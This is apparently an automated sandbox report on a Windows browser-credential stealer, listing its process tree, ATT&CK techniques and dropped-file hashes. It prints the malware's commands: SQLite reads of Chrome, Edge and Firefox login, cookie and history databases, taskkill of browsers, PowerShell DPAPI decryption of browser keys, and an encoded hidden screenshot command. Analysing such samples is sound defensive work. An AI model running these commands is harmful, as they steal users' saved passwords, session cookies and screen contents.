        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES273A.tmp" "c:\Users\Admin\AppData\Local\Temp\yoj1fufu\CSCD4C04616AEF949A79DC4BF95B82B74B.TMP"
        5⤵
        
        PID:2332
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kcpewwtt\kcpewwtt.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4420
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2788.tmp" "c:\Users\Admin\AppData\Local\Temp\kcpewwtt\CSC2EC16D026C2C4353B1E1172DF1F54145.TMP"
        5⤵
        
        PID:4464
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\History_1779280924277_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924277.sql"
  2⤵
  - Executes dropped EXE
  PID:4072
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280924355_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924355.sql"
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280924355_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924527.sql"
  2⤵
  - Executes dropped EXE
  PID:3408
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280924355_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924590.sql"
  2⤵
  - Executes dropped EXE
  PID:536
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280924355_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924652.sql"
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280924715_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924715.sql"
  2⤵
  - Executes dropped EXE
  PID:4284
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280924715_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924809.sql"
  2⤵
  - Executes dropped EXE
  PID:456
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280924715_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924855.sql"
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280924715_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280924887.sql"
  2⤵
  - Executes dropped EXE
  PID:4116
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280924715_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925012.sql"
  2⤵
  - Executes dropped EXE
  PID:3184
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280924715_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925043.sql"
  2⤵
  - Executes dropped EXE
  PID:864
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280924715_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925090.sql"
  2⤵
  - Executes dropped EXE
  PID:3252
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925121.sql"
  2⤵
  - Executes dropped EXE
  PID:1840
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925527.sql"
  2⤵
  - Executes dropped EXE
  PID:4296
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925574.sql"
  2⤵
  - Executes dropped EXE
  PID:3468
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925621.sql"
  2⤵
  - Executes dropped EXE
  PID:4016
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925730.sql"
  2⤵
  - Executes dropped EXE
  PID:3204
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925762.sql"
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925793.sql"
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280925809_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280925809.sql"
  2⤵
  - Executes dropped EXE
  PID:4548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280926340_femch.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280926340_femch.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1540
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\History_1779280926605_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926605.sql"
  2⤵
  - Executes dropped EXE
  PID:4236
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280926652_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926652.sql"
  2⤵
  - Executes dropped EXE
  PID:4460
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280926652_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926668.sql"
  2⤵
  - Executes dropped EXE
  PID:3560
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280926652_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926715.sql"
  2⤵
  - Executes dropped EXE
  PID:2412
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280926652_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926730.sql"
  2⤵
  - Executes dropped EXE
  PID:4632
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4252
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280926762_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926762.sql"
  2⤵
  - Executes dropped EXE
  PID:1264
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280926762_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926793.sql"
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280926762_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926824.sql"
  2⤵
  - Executes dropped EXE
  PID:4480
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280926762_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926847.sql"
  2⤵
  - Executes dropped EXE
  PID:1608
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280926762_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926871.sql"
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280926762_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926887.sql"
  2⤵
  - Executes dropped EXE
  PID:3524
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1779280926762_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926918.sql"
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926934.sql"
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926965.sql"
  2⤵
  - Executes dropped EXE
  PID:468
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280926996.sql"
  2⤵
  - Executes dropped EXE
  PID:4888
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280927012.sql"
  2⤵
  - Executes dropped EXE
  PID:4732
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1779280927043_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280927043.sql"
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
  2⤵
  PID:3180
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
  2⤵
  PID:3396
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:3980
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\cookies.sqlite_1779280927574_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280927574.sql"
  2⤵
  - Executes dropped EXE
  PID:3868
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\places.sqlite_1779280927605_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280927621.sql"
  2⤵
  - Executes dropped EXE
  PID:3104
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\places.sqlite_1779280927652_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280927652.sql"
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_3rw.exe C:\Users\Admin\AppData\Local\Temp\cookies.sqlite_1779280927684_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_4892_1779280927684.sql"
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  PID:2684
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  PID:892
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
  2⤵
  PID:5104
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"
  2⤵
  PID:1224
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4432
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"
  2⤵
  PID:2164
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM QQBrowser.exe"
  2⤵
  PID:804
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM QQBrowser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 360chrome.exe"
  2⤵
  PID:3476
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 360chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 360chrome.exe"
  2⤵
  PID:3404
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 360chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:1664
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:4460
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:1700
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:1140
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXGqyCg7/o0KWcRyisXAqrxAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA0Mt3KPkL4bbxdM8L/bR0WdRFQh7T+4XIh9DM2hULe08AAAAADoAAAAACAAAgAAAA125kkwSGjovBeUzYDJD/36Zrg9yh9ueUAYN+nZJGpT0wAAAAXkbh//Yec9LkLvAMScXVIXqX9wRKHpU5CisqJdhjAEwB9mXLCoGMqBZYDpKKIWfrQAAAAO2OK1YWxBo9MMfo0gzUNUokRedTDgjle3IjElV6SOksbA4a/+MWWwZUSiNQZk/VrfHEn6/8XKWd84inAD8F2gI='),$null,'CurrentUser'))""
  2⤵
  PID:3000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXGqyCg7/o0KWcRyisXAqrxAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA0Mt3KPkL4bbxdM8L/bR0WdRFQh7T+4XIh9DM2hULe08AAAAADoAAAAACAAAgAAAA125kkwSGjovBeUzYDJD/36Zrg9yh9ueUAYN+nZJGpT0wAAAAXkbh//Yec9LkLvAMScXVIXqX9wRKHpU5CisqJdhjAEwB9mXLCoGMqBZYDpKKIWfrQAAAAO2OK1YWxBo9MMfo0gzUNUokRedTDgjle3IjElV6SOksbA4a/+MWWwZUSiNQZk/VrfHEn6/8XKWd84inAD8F2gI='),$null,'CurrentUser'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXGqyCg7/o0KWcRyisXAqrxAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAE5wI94Pk0mfnG5Gbaw4kKYG0XZkNTXgGGXUyF5QEHoQAAAAAA6AAAAAAgAAIAAAAMuJB4ZBFarWkyXYVq+SlTfIti1p6D8US3GKZC36kQXSMAAAAPO2W/Jfaf591Rdb614H9STxoupT/FYQqbxOynXCH73CalnXmCHySlBv0tMTV8b4AEAAAAAY1AToKOd276PGa/1d3oykQPFdw9OCiz+a9HtJr25sE38q9ntkqBkHauqYvNDuyfUIr5IclI15QkTTmoJnMNlX'),$null,'CurrentUser'))""
  2⤵
  PID:4136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXGqyCg7/o0KWcRyisXAqrxAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAE5wI94Pk0mfnG5Gbaw4kKYG0XZkNTXgGGXUyF5QEHoQAAAAAA6AAAAAAgAAIAAAAMuJB4ZBFarWkyXYVq+SlTfIti1p6D8US3GKZC36kQXSMAAAAPO2W/Jfaf591Rdb614H9STxoupT/FYQqbxOynXCH73CalnXmCHySlBv0tMTV8b4AEAAAAAY1AToKOd276PGa/1d3oykQPFdw9OCiz+a9HtJr25sE38q9ntkqBkHauqYvNDuyfUIr5IclI15QkTTmoJnMNlX'),$null,'CurrentUser'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand WwB2AG8AaQBkAF0AWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACcAKQAKAFsAdgBvAGkAZABdAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAnACkACgAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAApAAoAJABnAD0AWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkACgAkAGcALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAkAGIALgBMAG8AYwBhAHQAaQBvAG4ALABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAkAGIALgBTAGkAegBlACkACgAkAGIAbQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABkAGEAdABhAC0AZwBkAEkARgBLAE8AXABcAEMAYQBwAHQAdQByAGUALgBwAG4AZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAkAGcALgBEAGkAcwBwAG8AcwBlACgAKQA7ACQAYgBtAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cvs_12543170.node

Path C:\Users\Admin\AppData\Local\Common\007696de\cvs_12543170.node
Size 634KB
SHA256 f85e5b19198cc4800be76346bb2868abdd45acbb314968cf2fe41cb18b502bfa
MD5 bb6656be2685669dc60166d6382110c5
SHA1 c7d5ed1b943bf6d99effd8e1481d80547af97ebe
